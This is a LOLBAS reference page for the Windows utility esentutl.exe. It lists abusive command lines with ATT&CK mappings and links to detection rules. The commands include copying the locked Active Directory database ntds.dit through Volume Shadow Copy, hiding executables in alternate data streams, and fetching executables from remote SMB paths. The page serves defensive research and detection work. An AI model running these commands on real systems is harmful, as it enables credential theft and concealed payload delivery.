Esentutl on LOLBAS (original) (raw)

.. /Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

Paths:

• C:\Windows\System32\esentutl.exe
• C:\Windows\SysWOW64\esentutl.exe

Resources:

• https://twitter.com/egre55/status/985994639202283520
• https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
• https://twitter.com/bohops/status/1094810861095534592

Acknowledgements:

• egre55 (@egre55)
• Mike Cary (@grayfold3d)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_params.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml
• Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/esentutl_sam_copy.yml
• Elastic: https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml

Copy

1. Copies the source VBS file to the destination VBS file.

esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o  

Use case
Copies files from A to B
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1105 2. Copies a (locked) file using Volume Shadow Copy

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d {PATH_ABSOLUTE:.dit}  

Use case
Copy/extract a locked file such as the AD Database
Privileges required
Admin
Operating systems
Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server
ATT&CK® technique
T1003.003

Alternate data streams

1. Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.

esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o  

Use case
Copy file and hide it in an alternate data stream as a defensive counter measure
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1564.004 2. Copies the source Alternate Data Stream (ADS) to the destination EXE.

esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o  

Use case
Extract hidden file within alternate data streams
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1564.004 3. Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.

esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o  

Use case
Copy file and hide it in an alternate data stream as a defensive counter measure
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1564.004

Download

1. Copies the source EXE to the destination EXE file

esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o  

Use case
Use to copy files from one unc path to another
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1564.004